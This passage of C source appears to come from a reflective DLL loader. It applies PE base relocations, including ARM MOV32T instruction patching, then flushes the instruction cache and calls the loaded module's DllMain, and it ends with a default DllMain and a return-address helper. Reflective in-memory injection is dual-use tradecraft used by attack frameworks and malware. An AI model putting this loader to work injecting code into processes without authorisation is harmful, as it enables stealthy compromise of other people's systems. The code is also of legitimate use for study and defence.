| 364 | // STEP 5: process all of our images relocations... 365 | 366 | // calculate the base address delta and perform relocations (even if we load at desired image base) 367 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 368 | 369 | // uiValueB = the address of the relocation directory 370 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 371 | 372 | // check if their are any relocations present 373 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 374 | { 375 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 376 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 377 | 378 | // and we itterate through all entries... 379 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 380 | { 381 | // uiValueA = the VA for this relocation block 382 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 383 | 384 | // uiValueB = number of entries in this relocation block 385 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 386 | 387 | // uiValueD is now the first entry in the current relocation block 388 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 389 | 390 | // we itterate through all the entries in the current block... 391 | while( uiValueB-- ) 392 | { 393 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 394 | // we dont use a switch statement to avoid the compiler building a jump table 395 | // which would not be very position independent! 396 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 397 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 398 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 399 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 400 | #ifdef WIN_ARM 401 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 402 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 403 | { 404 | register DWORD dwInstruction; 405 | register DWORD dwAddress; 406 | register WORD wImm; 407 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 408 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 409 | // flip the words to get the instruction as expected 410 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 411 | // sanity chack we are processing a MOV instruction... 412 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 413 | { 414 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 415 | wImm = (WORD)( dwInstruction & 0x000000FF); 416 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 417 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 418 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 419 | // apply the relocation to the target address 420 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 421 | // now create a new instruction with the same opcode and register param. 422 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 423 | // patch in the relocated address... 424 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 425 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 426 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 427 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 428 | // now flip the instructions words and patch back into the code... 429 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 430 | } 431 | } 432 | #endif 433 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 434 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 435 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 436 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 437 | 438 | // get the next entry in the current relocation block 439 | uiValueD += sizeof( IMAGE_RELOC ); 440 | } 441 | 442 | // get the next entry in the relocation directory 443 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 444 | } 445 | } 446 | 447 | // STEP 6: call our images entry point 448 | 449 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 450 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 451 | 452 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 453 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 454 | 455 | // call our respective entry point, fudging our hInstance value 456 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 457 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 458 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 459 | #else 460 | // if we are injecting an DLL via a stub we call DllMain with no parameter 461 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 462 | #endif 463 | 464 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 465 | return uiValueA; 466 | } 467 | //===============================================================================================// 468 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 469 | 470 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 471 | { 472 | BOOL bReturnValue = TRUE; 473 | switch( dwReason ) 474 | { 475 | case DLL_QUERY_HMODULE: 476 | if( lpReserved != NULL ) 477 | *(HMODULE *)lpReserved = hAppInstance; 478 | break; 479 | case DLL_PROCESS_ATTACH: 480 | hAppInstance = hinstDLL; 481 | break; 482 | case DLL_PROCESS_DETACH: 483 | case DLL_THREAD_ATTACH: 484 | case DLL_THREAD_DETACH: 485 | break; 486 | } 487 | return bReturnValue; 488 | } 489 | 490 | #endif 491 | //===============================================================================================// 492 | 493 | //===============================================================================================// 494 | #pragma intrinsic( _ReturnAddress ) 495 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 496 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 497 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 498 | // available (and no inline asm available under x64). 499 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 500 | //===============================================================================================// --------------------------------------------------------------------------------